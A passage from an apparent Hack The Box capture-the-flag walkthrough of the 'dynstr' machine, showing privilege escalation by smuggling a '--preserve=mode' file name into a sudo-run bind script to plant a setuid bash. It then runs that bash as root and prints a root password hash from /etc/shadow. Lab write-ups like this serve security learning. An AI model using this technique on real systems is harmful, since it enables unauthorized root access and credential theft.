-rw-rw-r-- 1 bindmgr bindmgr 2 Jun 14 08:40 .version

Now let’s execute the sudo command and get the root privileges on our bash binary.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
bindmgr@dynstr:/dev/shm$ sudo /usr/local/bin/bindmgr.sh 
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /dev/shm.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors:
/etc/bind/named.bindmgr/bash:1: unknown option 'ELF...'
/etc/bind/named.bindmgr/bash:14: unknown option 'hȀE'
/etc/bind/named.bindmgr/bash:40: unknown option 'YF'
/etc/bind/named.bindmgr/bash:40: unexpected token near '}'
bindmgr@dynstr:/dev/shm$ ls
bash '--preserve=mode'
bindmgr@dynstr:/dev/shm$ ls -al
total 1164
drwxrwxrwt 2 root root 100 Jun 13 19:22 .
drwxr-xr-x 17 root root 3960 Jun 13 15:38 ..
-rwsr-sr-x 1 bindmgr bindmgr 1183448 Jun 13 19:20 bash
-rw-rw-r-- 1 bindmgr bindmgr 1 Jun 13 19:22 '--preserve=mode'
-rw-rw-r-- 1 bindmgr bindmgr 2 Jun 13 19:17 .version

Now let’s run the bash as the privileged as root.

1
2
3
4
5
bindmgr@dynstr:/dev/shm$ /etc/bind/named.bindmgr/bash -p 
bash-5.0# id
uid=1001(bindmgr) gid=1001(bindmgr) euid=0(root) egid=117(bind) groups=117(bind),1001(bindmgr)
bash-5.0# cat /etc/shadow | grep root
root:$6$knCJjR0E8SuLyI5.$r7dGtVVY/Z6X0RQKxUvBZY4BQ3DwL7kHtu5YO9cclorPryKq489j2JqN262Ows/aRZvFkQ1R9uQyqoVWeS8ED1:18705:0:99999:7:::

Now we are root let’s get all the flags.

Summary of knowledge

  • DNS Enumeration to find some subdomains
  • Directory Fuzzing using ffuf
  • use HTTPBasicAuth get a rev shell
  • add PTR record pointing to our IP to ssh into the shell
  • privesc through /usr/bin/local/bindmgr.sh script

Contact me

  • QQ: 1185151867
  • twitter: https://twitter.com/fdlucifer11
  • github: https://github.com/FDlucifer

I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…